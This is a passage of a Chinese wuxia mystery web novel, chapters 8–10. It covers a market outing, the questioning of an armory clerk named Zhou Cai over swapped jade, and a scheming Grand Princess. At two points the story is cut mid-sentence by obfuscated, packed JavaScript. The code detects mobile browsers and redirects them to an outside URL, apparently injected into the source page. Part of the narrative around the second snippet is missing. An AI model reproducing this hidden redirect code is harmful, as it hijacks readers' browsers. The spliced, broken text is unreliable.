姣姣嚼着点心,含糊不清地说:“我那边,六个五道,全趴下了。问出来了,冰心玉是从城北军械库流出来的,管事的姓周,左边眉毛上有道疤。” 姜亦挑了挑眉。 闻人奚郁轻笑:“巧了,我们那边也问出来了——也是城北军械库,也是姓周的库吏,左边眉毛上有道疤。” 两人对视一眼。 姣姣眨眨眼:“那小姐那边……” 话音未落,门又被推开。 奕秋走进来,一身白衣,连灰尘都没沾上。 她走到桌边,从袖中取出一块玉牌,放在桌上。 “城北军械库,姓周的库吏。”她声音平静,“拿着这个去找他。” 姣姣看着那块玉牌,愣了一瞬。 然后她笑了。 “得嘞,三条线索,全指着一个地方。”她一拍大腿,“那还等什么?明天就去城北军械库,找那个姓周的库吏,问清楚冰心玉到底是谁换的!” 姜亦没说话,只是端起酒杯,抿了一口。 闻人奚郁摇着折扇,笑眯眯地看着姣姣。 奕秋已经阖上眼,靠在椅背上,像是什么都没发生过。 姣姣啃完最后一块点心,忽然想起什么:“对了,你们那边有埋伏吗?” 姜亦点头:“十几个。” 姣姣瞪大眼睛:“五道?” “嗯。” “你一个人打的?” “嗯。” 姣姣竖起大拇指:“牛逼。” 她又看向闻人奚郁:“你呢?有人偷袭你吗?” 闻人奚郁眨眨眼:“有啊。” “然后呢?” “我躲开了。” “躲开了?” “嗯,”闻人奚郁一脸无辜,“运气好。” 姣姣盯着他看了两息,然后咧嘴一笑。 “行吧,运气好。” 她没再问。 但她的眼神里,多了点什么。 窗外,夜色正浓。 摘星楼的灯笼在风里摇晃,把四个人的影子拉得很长。 姣姣伸了个懒腰。 “行了,今天先这样。明天一早,去城北军械库。” 没人反对。 四人起身,往外走。 走到门口,姣姣忽然回头,看了一眼闻人奚郁。 闻人奚郁正笑眯眯地看着她。 姣姣收回目光,推门出去。 身后,闻人奚郁轻笑一声,跟了上去。 姜亦走在最后。 他看了一眼窗外的月色,又看了一眼那三个人消失的方向。 然后他嘴角弯了弯,扬起一个好看的弧度。 8. 市井烟火客钱囊 天刚蒙蒙亮,姣姣还在做梦。 梦里她正躺在一座金山上,数金子数到手软。忽然有人抓住她的后领,把她整个人从金山上拎了起来。 “起床。” 姣姣睁开眼,对上奕秋那张面无表情的脸。 “……小姐。”她哀嚎,“天还没亮呢!” “亮了。”奕秋松开手,转身往外走,“一刻钟,楼下见。” 门关上。 姣姣趴在床上,把脸埋进枕头里,闷闷地哼了一声。 隔壁房间,姜亦早就起了。 他坐在窗边擦拭长剑,闻人奚郁从屏风后面转出来,慢条斯理地系着衣带。 “你倒是睡得踏实。”姜亦头也不抬。 “还行。”闻人奚郁走到桌边,给自己倒了杯茶,“昨夜那几个盯梢的,后半夜撤了。” 姜亦动作一顿。 “撤了?” “嗯。”闻人奚郁抿了口茶,“大概是被昨天那三场吓着了,回去报信去了。” 姜亦沉默了一瞬,继续擦剑。 “也好。”他说,“省得动手。” * 楼下大堂。 客栈老板娘已经把早饭摆好了。热粥、包子、咸菜、鸡蛋,还有一碟切好的酱牛肉。 奕秋第一个下来,在靠窗的位置坐下。 姜亦和闻人奚郁随后下来。 三人坐了一盏茶的功夫,姣姣还没出现。 姜亦看向楼梯口,眉头微皱。 “她平时也这样?” 奕秋眼都没抬:“嗯。” “……每天?” “嗯。” 姜亦沉默。 闻人奚郁在旁边笑出声。 又过了半盏茶,楼梯上终于传来脚步声。 姣姣扶着楼梯扶手,一步三晃地走下来。头发随便扎了个髻,衣服倒是穿整齐了,但脸上还带着没睡醒的懵。 她走到桌边,一屁股坐下,脑袋往桌上一栽。 “……困。” 姜亦看着她,表情复杂。 “你昨晚不是睡得挺早?” “早睡不代表能早起。”姣姣闷声说,“这是两回事。” 姜亦:“……” 闻人奚郁笑着把一碗粥推到她面前:“先吃点东西,醒醒神。” 姣姣抬起头,看了一眼那碗粥,又趴回去了。 “没胃口。” 奕秋瞥她一眼:“不吃就饿着。今天要跑一天。” 姣姣哀嚎一声,终于坐直了,抓起勺子开始喝粥。 喝了三口,她忽然停下来。 “对了,今天去哪儿来着?” 姜亦放下筷子:“城北军械库,找周库吏。” “周库吏?”姣姣眨眨眼,“那个周什么……周财?” “周财。”姜亦点头。 “这名字起的。”姣姣“啧”了一声,“一听就是个贪官。” 闻人奚郁失笑:“你怎么知道?” “名字里带财的,十个有九个贪。”姣姣理直气壮,“我见过。” 姜亦懒得跟她争,继续吃饭。 姣姣喝了半碗粥,啃了一个包子,终于彻底醒了。 她抹了抹嘴,眼睛亮起来:“对了,咱们怎么去?直接去军械库找他?” “直接去。”姜亦道,“有奕秋姑娘那块玉牌,他不敢不见。” “那见了之后呢?”姣姣问,“直接问‘冰心玉是不是你换的’?” 姜亦沉默了一瞬。 “……你这话问得,挺直接。” “不然呢?”姣姣眨眨眼,“拐弯抹角地问,他就能说实话?” 闻人奚郁摇着折扇,笑道:“姣姣姑娘说得对。这种老狐狸,绕圈子没用。要么拿出他抵赖不了的东西,要么直接掀桌子。” 姜亦想了想,点头。 “行。那就直接问。” 吃完早饭,四人出了客栈。 皇城的早晨比边境热闹得多。街上已经人来人往,挑担的、赶车的、摆摊的、开店的,吆喝声此起彼伏。 姣姣一出门就精神了。 “嚯,这么多人!” 她东张西望,看见什么都想凑过去看看。 走了没几步,她忽然停在一个摊位前。 摊上摆着各种小玩意儿,木雕的、泥捏的、竹编的,花花绿绿摆了一堆。摊主是个干瘦的老头,正坐在小板凳上打瞌睡。 姣姣拿起一个小木马,翻来覆去地看。 “这个多少钱?” 老头睁开眼,瞅了一眼:“五文。” 姣姣回头看向闻人奚郁。 闻人奚郁笑着从袖子里摸出铜板,放在摊上。 姣姣把小木马揣进怀里,继续往前走。 姜亦跟在后面,眉头微微皱了一下。 走了十几步,姣姣又停在一个糖人摊前。 摊主是个中年汉子,正在捏一只凤凰,手艺极好,凤尾丝丝分明。 姣姣看得眼睛发直。 “这个多少钱?” 摊主头也不抬:“二十文。” 姣姣回头看向闻人奚郁。 闻人奚郁又摸出铜板。 姣姣接过糖人,咬了一口,眯起眼:“好吃!” 姜亦的眉头皱得更紧了。 走了三十步,姣姣停在一个布匹摊前。 “这匹布多少钱?” “三百文。” 闻人奚郁掏钱。 姜亦的眉头快拧成麻花了。 走了五十步,姣姣停在一个首饰摊前。 “这个簪子多少钱?” “一两银子。” 闻人奚郁掏银子。 姜亦终于忍不住了。 他快走几步,追上闻人奚郁,压低声音问:“你钱多烧的?” 闻人奚郁笑着摇扇子:“还行。” “还行?”姜亦瞪他,“你这一路掏了多少了?” “没数。”闻人奚郁想了想,“大概……几百文?加那匹布,一两多。” 姜亦深吸一口气。 姣姣在前面回头,冲他们招手:“快走快走,那边还有!” 姜亦看着她的背影,忽然问:“她平时也这样?” 闻人奚郁想了想:“昨天没有。昨天她好像……挺收敛的。” 姜亦沉默。 今天这叫“收敛”? 前面,姣姣又停在一个卖小吃的摊位前。 “这是什么?” 摊主笑眯眯的:“姑娘,这是桂花糕,原终特产,又香又糯,来一块尝尝?” 姣姣眼睛亮了。 她回头看向闻人奚郁。 闻人奚郁笑着掏出银子。 姜亦站在后面,脸已经快跟墨绿劲装一个色了。 姣姣接过桂花糕,咬了一口,满足地眯起眼。 然后她忽然想起什么,回头看向奕秋。 “小姐,你也尝尝!” 她掰下一小块,递到奕秋嘴边。 奕秋低头看了一眼那块桂花糕,又看了一眼姣姣亮晶晶的眼睛。 她张嘴,咬了一口。 “怎么样?”姣姣期待地看着她。 奕秋嚼了嚼。 “……太甜了。” “明明这么好吃!”姣姣瞪眼,“你舌头有问题!” 奕秋没理她,继续往前走。 姣姣捧着桂花糕追上去,一边走一边往她嘴边递:“再尝一口嘛,就一口!” 奕秋没张嘴。 姣姣不屈不挠,举着桂花糕在她面前晃来晃去。 奕秋终于停下脚步,低头看她。 姣姣眨巴眨巴眼,一脸无辜。 奕秋叹了口气。 她张嘴,又咬了一口。 “怎么样怎么样?” “……还行。” 姣姣笑得眼睛弯成月牙:“我就说嘛!” 姜亦在后面看着这一幕,表情复杂。 闻人奚郁走到他身边,轻声笑道:“你看,这俩人,像不像姐妹?” 姜亦想了想。 “不像。” “不像?” “像……主人和宠物。” 闻人奚郁愣了一下,然后笑出声。 “你这话,要是让姣姣听见,她能跟你吵一天。” 姜亦有些头疼地闭上了眼。 前面,姣姣又停在一个卖糖葫芦的摊位前。 “小姐!糖葫芦!” 她回头看向闻人奚郁。 闻人奚郁笑着掏出铜板。 姜亦深吸一口气,别过脸去。 姣姣接过糖葫芦,咬了一口,酸酸甜甜的,她满足地眯起眼。 然后她又把糖葫芦递到奕秋嘴边。 “尝尝这个!这个肯定不甜!是酸的!” 奕秋看了她一眼,张嘴咬了一颗。 嚼了嚼。 “……酸。” “酸的好吃!”姣姣理直气壮,“甜的你也嫌,酸的你也嫌,你到底喜欢吃什么?” 奕秋想了想。 “什么都不喜欢。” 姣姣瞪她,没大没小的怼道:“那你活着干什么?” 奕秋没答,继续往前走。 姣姣捧着糖葫芦追上去,嘴里还在嘟囔:“小姐你这人太没意思了,吃东西都不积极……” 姜亦走在后面,忽然问:“她俩一直这样?” 闻人奚郁想了想:“应该是。” “那奕秋姑娘……挺有耐心的。” 闻人奚郁笑了笑:“不是有耐心。是习惯了。” 姜亦沉默。 他忽然有点理解,为什么奕秋看起来总是一副“什么都无所谓”的样子。 跟这么个丫头待久了,可能什么事都不会再惊讶了。 前面,姣姣又停在一个卖面具的摊位前。 “这个面具!好像姜大侠!” 她举起一张面具,往脸上比了比。 那面具是墨绿色的,左耳的位置还画着一颗红色的圆点,像是模仿姜亦的耳坠。 姜亦的脸黑了。 姣姣笑得直不起腰。 “姜大侠,你看像不像!” 姜亦深吸一口气,没理她。 姣姣把面具翻过来,看了看价钱。 “二十文。”她回头看向闻人奚郁,“闻人公子!” 闻人奚郁笑着掏钱。 姜亦终于忍不住了。 “你自己没钱吗?” 姣姣眨眨眼:“有啊。” “那为什么一直让他付?” “因为他乐意啊。”姣姣理直气壮,“闻人公子,你乐意吗?” 闻人奚郁笑着点头:“乐意。” 姣姣冲姜亦摊手:“你看。” 姜亦:“……” 他决定不再问了。 * 又走了小半个时辰,四个人手里已经拿满了东西。 姣姣左手糖葫芦,右手桂花糕,怀里还揣着两个小木雕、一个布偶、一包点心。 闻人奚郁左手提着那匹布,右手拎着几个纸包,袖子里还插着两根糖人。 姜亦双手抱着七八个盒子袋子,脸黑得像锅底。 奕秋走在最前面,手里空空如也。 ——因为姣姣试图往她手里塞东西的时候,被她用眼神制止了。 “姜大侠,你脸色怎么这么难看?”姣姣回头看他,“是不是东西太重了?要不要我帮你拿点?” 姜亦咬牙:“不用。” “真的不用?”姣姣眨眨眼,“我看你脸都绿了。” 姜亦深吸一口气:“我说不用。” “行吧。”姣姣耸耸肩,继续往前走,“前面好像还有卖糖炒栗子的……” 姜亦脚步一顿。 闻人奚郁在旁边笑得不行。 “姜亦,”他压低声音,“你要不要歇会儿?我来拿?” “不用。”姜亦咬牙,“我倒要看看,她能买多少。” 前面的摊位越来越密,人也越来越多。 姣姣像条泥鳅似的在人群里钻来钻去,一会儿就没了影。 姜亦抱着东西,艰难地跟在后面,脸越来越黑。 闻人奚郁走在他旁边,笑着说:“你别说,这早市还挺有意思。” 姜亦没说话。 “你看那个卖艺的,刀法不错。” 姜亦瞥了一眼,没理。 “那个糖画,画得挺像。” 姜亦继续沉默。 “那个——” “闭嘴。”姜亦终于开口,“再说一句,这些东西全归你拿。” 闻人奚郁笑着闭嘴。 前面,姣姣忽然从人群里钻出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437472|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,手里举着一个热气腾腾的纸包。 早春的清晨,天气很冷,让那个纸包显得暖和极了。 “糖炒栗子!刚出锅的!” 她跑到奕秋面前,把纸包往她手里塞。 “小姐,你拿着!暖手的!” 奕秋低头看了一眼那个纸包,又看了一眼姣姣被冻得通红的手。 她接过来,捧在手里。 暖的。 姣姣满意地笑了,又钻进人群。 奕秋站在原地,看着那个红彤彤的背影消失在人群里,嘴角微微动了一下。 姜亦抱着东西走过来,正好看见这一幕。 他愣了一下。 那个一路上面无表情、说什么都“嗯”的白衣女子,刚才…… 是在笑? 他看向闻人奚郁。 闻人奚郁也看见了,笑着冲他眨眨眼。 姜亦沉默。 又逛了小半个时辰,日头渐渐升高。 姣姣终于累了。 她找了个茶摊,一屁股坐下,把手里剩下的东西往桌上一堆。 “累死我了。” 姜亦把怀里那堆盒子袋子放下,长长地出了口气。 闻人奚郁在他旁边坐下,笑着递过来一杯茶。 姜亦接过来,一饮而尽。 姣姣趴在桌上,有气无力地问:“小姐,咱们什么时候去军械库?” 奕秋看了看天色。 “再歇一刻钟。” “好嘞。”姣姣把脸埋进胳膊里,闷声说,“我先睡会儿。” 姜亦看着她,忍不住问:“你逛的时候不累,一坐下就累?” “那不一样。”姣姣头也不抬,“逛的时候有东西买,精神着呢。一停下来,就不行了。” 姜亦:“……” 闻人奚郁笑着摇头。 茶摊老板端上来几碗茶,又端了一盘花生瓜子。 姣姣闻见香味,抬起头,抓了一把花生,开始剥。 剥了一颗,塞进嘴里。 又剥了一颗,塞进嘴里。 剥着剥着,她忽然停下,看向奕秋。 “小姐,你饿不饿?” 奕秋没说话。 姣姣把手里的花生递过去。 “尝尝?挺香的。” 奕秋低头看了一眼那几颗剥好的花生,又看了一眼姣姣亮晶晶的眼睛。 她伸手,接过来,放进嘴里。 “……还行。” 姣姣笑得眼睛弯弯的:“我就知道你喜欢。” 姜亦在旁边看着,忽然觉得有点奇怪。 他认识她们几天了,从来没见过奕秋主动吃什么。每次姣姣递东西过来,她都只是“尝一口”,然后就放下。 但姣姣一直在递。 每一次都递。 每一次都期待地看着她。 而奕秋,每一次都接过来,尝一口。 哪怕她说“太甜了”,她也尝。 姜亦忽然想起自己刚才那句话——“像主人和宠物”。 不对。 不是主人和宠物。 是…… 他想了想,没想出来合适的词。 闻人奚郁在旁边,忽然轻声说:“你看,她们俩。” 姜亦看向他。 闻人奚郁的目光落在那两个人身上,眼里带着一点姜亦看不懂的东西。 “一个一直在给。” “一个一直在接。” “给的那个,不嫌累。” “接的那个,不嫌烦。” 他顿了顿,轻声说: “这大概就是……家人的样子吧。” 姜亦愣了一下。 他看向那两个人。 姣姣正在剥花生,剥一颗,往自己嘴里塞一颗,再剥一颗,往奕秋手里塞一颗。 奕秋坐在旁边,手里攒了一小把花生,一颗一颗地吃着。 她脸上还是没什么表情。 但她的动作很慢。 像是在品什么。 姜亦忽然想起自己小时候。 那时候,母亲还在。每次她剥了核桃,也是这样,一颗给自己,一颗给他。 他低下头,端起茶杯,喝了一口。 什么都没说。 茶喝完了,花生也吃完了。 姣姣伸了个懒腰,站起来。 “走吧,去找那个周财。” 四人起身,收拾东西。 姜亦看着那堆盒子袋子,眉头又皱起来。 “这些东西……” “先寄存在客栈。”闻人奚郁说,“办完事回来取。” 姜亦松了口气。 姣姣在旁边笑他:“姜大侠,你这体力不行啊。才买了多少东西,就累成这样?” 姜亦瞪她:“你再说一句,下次你拿。” 姣姣吐了吐舌头,跑到奕秋身边去了。 四人回到客栈,把东西放下,重新出门。 这一次,他们的方向是城北。 城北军械库。 周财周库吏。 冰心玉案的真相。 姣姣走在最前面,脚步轻快。 “小姐,”她忽然回头,“你说那个周财,会不会一见到咱们就跑?” 奕秋想了想。 “跑不了。” “为什么?” “所有矛头都指向他,”奕秋淡淡道,“跑了,就是认罪。” 姣姣眨眨眼,然后笑了。 “也是。” 她转过头,继续往前走。 身后,姜亦和闻人奚郁并肩走着。 闻人奚郁忽然压低声音:“你觉得,周财会说实话吗?” 姜亦沉默了一瞬。 “不知道。” “如果他不说呢?” 姜亦没答。 但他的右手,按上了腰间的剑柄。 闻人奚郁看见了,笑了笑,没再问。 前面,姣姣忽然停下来。 她回头,冲他们招手。 “快走快走!磨蹭什么呢!” 阳光下,她的笑容比刚才买的糖葫芦还甜。 姜亦看着她,忽然想起闻人奚郁刚才那句话。 ——“家人的样子”。 他嘴角微微动了一下。 然后他抬脚,跟了上去。 9. 军械深院见库吏 城北军械库,占地极广。 青灰色的高墙绵延数十丈,墙头立着铁蒺藜,每隔十步便有兵卒值守。正门是一座三间的门楼,朱漆大门紧闭,只留侧门供人进出。 四人站在门前,打量着这座戒备森严的官署。 “嚯。”姣姣吹了声口哨,“这地方,比赵大哥的军营还严。” 姜亦没说话,目光扫过墙头的守卫,眼底闪过一丝冷意。 闻人奚郁摇着折扇,笑道:“军械重地,自然森严。不过咱们有奕秋姑娘的玉牌,应该能进去。” 奕秋从袖中取出那块玉牌,递给守门的兵卒。 兵卒接过,翻来覆去看了几遍,脸色微变。 “几位稍等。” 他转身进去通报。 片刻,一个穿着深青色官袍的中年人快步迎了出来。 四十来岁,中等个头,微微发福,左边眉毛上一道清晰的疤痕。 正是周财。 他目光在四人身上一扫,最后落在奕秋身上,拱手笑道:“这位就是持玉牌的姑娘?快请进快请进。” 奕秋点了点头,没说话。 周财也不恼,笑着侧身引路:“几位里边请。军械库重地,没什么好招待的,但茶水还是有的。” 四人跟着他穿过侧门,走进军械库。 里面比外面看起来更大。 一进进院落,一排排库房,整齐划一。不时有兵卒抬着箱子经过,看见周财,纷纷行礼。 周财一路引着他们穿过三进院子,最后停在一座大殿前。 “几位请。”他做了个手势,“这是本官处理公务的地方,简陋了些,别嫌弃。” 四人走进大殿。 殿内陈设简单,正中一张紫檀木书案,案后是一把铺着虎皮的太师椅。两侧立着几排书架,上面堆满了账册文书。 周财走到书案后,在太师椅上坐下。 他坐下的姿态很自然,像是在自己的地盘上就该这么坐。居高临下地看着殿中四人,脸上带着官场中人惯有的笑。 但那笑容底下,藏着一丝打量。 “几位请坐。”他抬了抬手,示意旁边的椅子。 四人没坐。 周财笑容不变,目光在四人身上转了一圈,最后落在姣姣身上。 “这位姑娘,就是那位千金阁里一人挑了六个五道高手的?” 姣姣眨眨眼:“你消息挺灵通啊。” 周财笑了笑:“皇城就这么大,有点风吹草动,本官还是能知道的。” 他顿了顿,语气里多了几分真心实意的赞叹: “十几岁的近尊,姑娘这天赋,当真是举世罕见。” “一般一般。”姣姣摆摆手,一脸“这有什么好说的”。 周财又看向姜亦。 他的目光在姜亦脸上停留了一瞬,眼底闪过一丝什么,但很快又敛去。 “这位公子,”他笑着说,“摘星楼一战,一个人挑了十几个五道高手,还面不改色。尊界二重的修为,当真是年轻有为。” 姜亦没说话,只是看着他。 周财被这目光看得有些不自在,干笑一声:“别这样看本官。本官这点微末道行,在尊界二重面前,跑是跑不了的。” 他摊了摊手,一脸无奈。 “所以几位放心,本官没打算跑。” 姣姣笑了:“周大人,你这话说的,好像我们来找你打架似的。” “不是吗?”周财挑眉。 “不是。”姣姣往前走了一步,“我们是来问点事。” 周财往后靠了靠,手肘搭在椅扶手上,姿态放松了些。 “姑娘请问。本官知无不言。” 姣姣盯着他看了两息。 然后她开口。 “冰心玉,是你换的吧?” 殿内静了一瞬。 周财的笑容僵在脸上。 就那么一瞬,很短,短到几乎察觉不到。 然后他笑了。 “姑娘这话问的,”他摇头,“冰心玉是皇室特供,本官一个小小的库吏,哪有那个胆子?” “是吗?”姣姣歪头,“那为什么三具尸体的伤口上,都有冰心玉的玉屑?” 周财一愣。 “玉屑?” “对。”姣姣点头,“三具尸体,三个地方,三种伪造的杀人手法。但每具尸体的伤口里,都嵌着冰心玉的碎屑。” 她往前走了一步,盯着周财的眼睛。 “周大人,冰心玉是皇室特供,能接触到这东西的,整个皇城也没多少人。你猜,我们查到了谁?” 周财的脸色变了一瞬,然后他又笑了。 “姑娘这推论,听起来是挺吓人的。”他慢悠悠地说,“但推论只是推论。证据呢?” 姣姣咧嘴一笑。 “你的左臂,是不是有一道旧伤?毒深入骨中,无药可医。” 周财一愣。 姣姣继续说:“那道伤是十二年前留下的吧?那时候你还在军中,跟着虎符将军剿匪,被流矢射中。箭头淬了毒,伤好了,毒根没清干净。” 周财的脸色变了。 姣姣往前又走了一步。 “你右手的无名指,是不是有时候会发抖?那是年轻时候练刀留下的暗伤,一直没好利索。” 周财的右手微微握紧。 姣姣再走一步。 “你每天夜里子时三刻会醒一次,醒了就睡不着,要坐半个时辰才能再睡。这是心脉有损,常年焦虑所致。” 周财的手,已经攥紧了扶手。 姣姣停在他面前,低头看着他。 她明明比他矮一个头,但这一刻,周财觉得自己是被俯视的那个。 “周大人,”姣姣笑眯眯地说,“我这个人,没什么本事,就是会看点病,看点伤。你这点毛病,我一进门就看出来了。” 她顿了顿。 “你猜,我是怎么看出来你心脉有损的?” 周财没说话。 姣姣回头看了一眼奕秋。 奕秋依旧站在原地,面无表情。 姣姣又看向周财。 “是卦。”她说,“我家小姐的卦,能算出很多东西。比如——” 她压低声音。 “你十二年前,是不是做过一件亏心事?” 周财瞳孔骤缩。 殿内一片死寂。 周管家站在一旁,额头上已经渗出了冷汗。他看着那个红衫少女,像是在看一个怪物。 周财深吸一口气。 然后他笑了。 那笑容比之前任何一次都淡,但眼底的玩味却更浓了。 “姑娘好眼力。”他慢条斯理地说,“本官这身毛病,确实跟你说的分毫不差。” 他顿了顿,手指轻轻敲着扶手。 “但这能说明什么?说明姑娘医术高明,眼力过人。说明不了本官跟冰心玉有什么关系。” “是吗?”姣姣歪头。 “是。”周财点头,“姑娘说的那些,都是猜测。玉屑?谁知道是不是凶手故意放的,想把水搅浑。十二年前的事?十二年前本官在军中剿匪,立过功,得过赏,这事皇城上下都知道。” 他往后靠了靠,恢复了那副官场老油条的模样。 “姑娘,查案要讲证据。没有证据,说得再真,也是假的。” 姣姣盯着他看了两息。 然后她笑了。 “周大人,你说得对。” 周财一愣。 姣姣转身,走回奕秋身边。 “没有证据,说得再真,也是假的。”她重复了一遍,“这话我记住了。” 周财看着她,眼底闪过一丝什么。 姣姣回头,冲他咧嘴一笑。 “周大人,咱们还会再见的。” 说完,她往外走。 奕秋转身跟上。 闻人奚郁摇着折扇,笑眯眯地冲周财点了点头,也跟了上去。 姜亦走在最后。 他经过周财身边时,脚步顿了顿。 周财抬头看他。 姜亦低头看着他。 那目光很淡,但周财忽然有一种奇怪的感觉——这个人看自己的眼神,不像是在看一个官员,更像是在看…… 一个死人。 姜亦什么都没说,抬脚走了。 四人消失在殿外。 周财坐在太师椅上,一动不动。 周管家快步走过来,压低声音:“老爷,那几个人……” 周财抬手,止住他的话。 他坐在那里,看着殿门的方向,沉默了很久。 他的眼神里带着一点玩味,一点忌惮,还有一点说不清的东西。 “有意思。”他说。 周管家愣住了:“老爷?” 周财没理他。 他站起来,走到窗边,看着那四个人远去的背影。 “那个红衣服的,”他慢悠悠地说,“不简单。” 周管家咽了口唾沫:“老爷,要不要……” “不要。”周财打断他,“什么都不要做。” 周管家愣住了。 周财看着那个越来越远的红点,忽然笑了。 “派人去查。”他说,“查那个红衣服的,到底什么来头。” “是。” “还有那个白衣的,东夷卦修,尊界一重——查她师承。” “是。” “还有那个墨绿衣服的……” 周财顿了顿。 他想起刚才那个人看自己的眼神。 “那个人的脸,”他慢悠悠地说,“我总觉得在哪见过。” * 军械库外。 姣姣一出来就伸了个懒腰。 “累死我了。” 闻人奚郁笑着问:“累?你刚才不是挺能说的?” “说话也累啊。”姣姣理直气壮,“我跟那只老狐狸斗智斗勇,特别累。” 姜亦走在一旁,忽然问:“你刚才说的那些,都是真的?” “哪些?” “他的旧伤,他的心脉,他的……” “都是真的。”姣姣点头,“我看人很准的。” 姜亦沉默了一瞬。 “那十二年前的事呢?” 姣姣眨眨眼。 “那个啊……” 她咧嘴一笑。 “我瞎编的。” 姜亦一愣。 闻人奚郁在旁边笑出声。 “你瞎编的?”姜亦瞪她。 “对呀。”姣姣一脸无辜,“我又不知道他十二年前干过什么。但你看他刚才那个表情——” 她学着周财的样子,瞪大眼睛,一脸震惊。 然后,她恢复自己的表情,笑得眼睛弯弯的。 “他肯定干过什么。” 姜亦沉默。 闻人奚郁摇着折扇,笑道:“姣姣姑娘这招,叫打草惊蛇。” “对。”姣姣点头,“惊了他,他就会动。他动了,我们就能抓到尾巴。” 姜亦看着她,眼神复杂。 姣姣冲他眨眨眼:“怎么,姜大侠,是不是觉得我特别聪明?” 姜亦没说话。 但他嘴角,微微动了一下。 四人沿着来路往回走。 走了没几步,姣姣忽然停下来。 “对了,”她回头看向军械库的方向,“你们说,那个周财,现在在干什么?” 闻人奚郁想了想:“大概在查我们。” “查我们?” “嗯。”闻人奚郁点头,“一个十几岁的近尊,一个东夷卦修,一个尊界二重的剑客,还有一个不会武功的谋士——” 他笑了笑。 “换成我,我也得查。” 姣姣“啧”了一声。 “行吧,让他查。反正——”她顿了顿,笑得意味深长,“他查到的,都是我们想让他查到的。” 姜亦看了她一眼。 姣姣没再说,继续往前走。 * 原终皇城,长公主府。 这座府邸坐落在皇城东北,占地极广,亭台楼阁,雕梁画栋,比寻常王府还要气派三分。 穿过三进院落,绕过一座假山,便是长公主的寝殿。 殿内燃着上好的龙涎香,青烟袅袅,香气馥郁。 长公主姜未玉,正斜靠在软榻上。 她只穿了一件月白色的肚兜,绣着鸳鸯戏水的图案,薄薄的绸料贴着肌肤,勾勒出玲珑的曲线。 她生得极美,眉眼间带着与生俱来的贵气,眼尾微微上扬,平添几分凌厉。妆容精致,眉心一点花钿,衬得那张脸愈发雍容。 仔细看的话,眼角有几道极细的纹路。但那几道纹路不但没有减损她的美貌,反而添了几分岁月沉淀的韵味。 像是陈年的酒,越品越有味道。 两个宫女跪在榻边,一个轻轻摇着团扇,一个端着玉盘,盘里盛着剥好的葡萄。 姜未玉闭着眼,手指有一下没一下地敲着榻沿。 殿外传来脚步声。 一个身着深青色宫装的中年女子快步走进来,但步伐沉稳,垂首行礼。 “殿下。” 姜未玉睁开眼。 那双眼睛生得极好,眼尾上挑,像狐狸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“末将……末将什么都没看见。” 姜未玉笑了。 她伸出手,抬起他的下巴。 万蛟被迫抬头,对上那双狐狸一样的眼睛。 姜未玉看着他,忽然说:“万将军,你跟了我多少年了?” “回殿下,十二年。” “十二年。”姜未玉重复了一遍,“十二年,你还是这么……” 她没说完,松开手,转身走回榻边,重新靠下。 “说吧,”她慢悠悠地拿起一颗葡萄,“那个姜亦,什么来头?” 万蛟深吸一口气,平复了一下心情,沉声道:“查不出。” “查不出?” “是。”万蛟点头,“那个人的脸,没有人认识。他说是皇城人,但皇城里没人见过他。” 姜未玉挑了挑眉。 “有意思。”她把葡萄放进嘴里,慢慢嚼着,“一个尊界二重的剑修,忽然冒出来,带着三个人查案,查到周财头上……” 她顿了顿。 “然后他姓姜。” 万蛟低着头,没说话。 姜未玉沉默了很久,然后她笑了出来。 那笑容很轻,但眼底有一丝冷意。 “姜亦。”她又念了一遍这个名字。 “我那好侄儿,终于坐不住了。” 万蛟抬头看她。 姜未玉靠在榻上,手指轻轻敲着榻沿。 殿内很安静,只有龙涎香的青烟袅袅升起。 过了很久,她开口。 “万将军。” “末将在。” “那四个人,继续盯着。尤其是那个姜亦。” “是。” “至于那个红衣服的……” 她顿了顿。 “十五六岁的近尊,南水毒医,给人当婢女。” 她轻笑一声。 “有意思。” 万蛟低着头,不敢接话。 姜未玉挥了挥手。 “下去吧。” 万蛟行礼,退出殿外。 殿内只剩下姜未玉和那两个宫女。 她靠在榻上,看着殿顶的藻井,不知道在想什么。 过了很久,她忽然开口。 “凌香。” “在。” “你说,那孩子现在什么境界了?” 凌香低着头,不敢回答。 姜未玉笑了笑。 她没再问。 * 客栈里。 四人围坐在天井的石桌旁。 姣姣啃着从早市买的点心,嘴里含糊不清地说:“那个周财,肯定有问题。” 姜亦没说话。 闻人奚郁摇着折扇,笑道:“他有没有问题不重要。重要的是,他知道我们知道他有问题。” 姣姣眨眨眼:“然后呢?” “然后,”闻人奚郁慢悠悠地说,“他会去找那个人。” 姣姣眼睛亮了。 “你是说……” 闻人奚郁点头。 姣姣咧嘴一笑。 姜亦坐在一旁,手指轻轻摩挲着剑柄。 他什么都没说。 但他的手,握得很紧。 夜风吹过天井,桂花香一阵一阵地飘过来。 姣姣吃完最后一块点心,拍拍手站起来。 “行了,今天先这样。”她伸了个懒腰,“明天接着查。” 没人反对。 四人各自回房。 姜亦走到自己房门前,忽然停下。 他回头看了一眼。 姣姣正趴在隔壁窗台上,冲他挥手。 月光落在她脸上,把那笑容照得很亮。 “姜大侠,”她笑嘻嘻地说,“早点睡,明天还得抓狐狸呢。” 姜亦看着她。 然后他嘴角微微动了一下。 他没说话,推门进去了。 姣姣眨眨眼,也缩回屋里。 天井里只剩下月光和桂花香。 远处,长公主府的灯火还亮着。 一场真正的较量,才刚刚开始。 10. 夜闯周府书 晨光透过窗棂,在桌面上铺开一层淡金色的光。 姣姣趴在桌上,脸埋在胳膊里,头发乱蓬蓬的,像一窝被风吹散的鸟巢。 面前的粥碗已经见了底,碟子里还剩半个包子,她懒得伸手去拿。 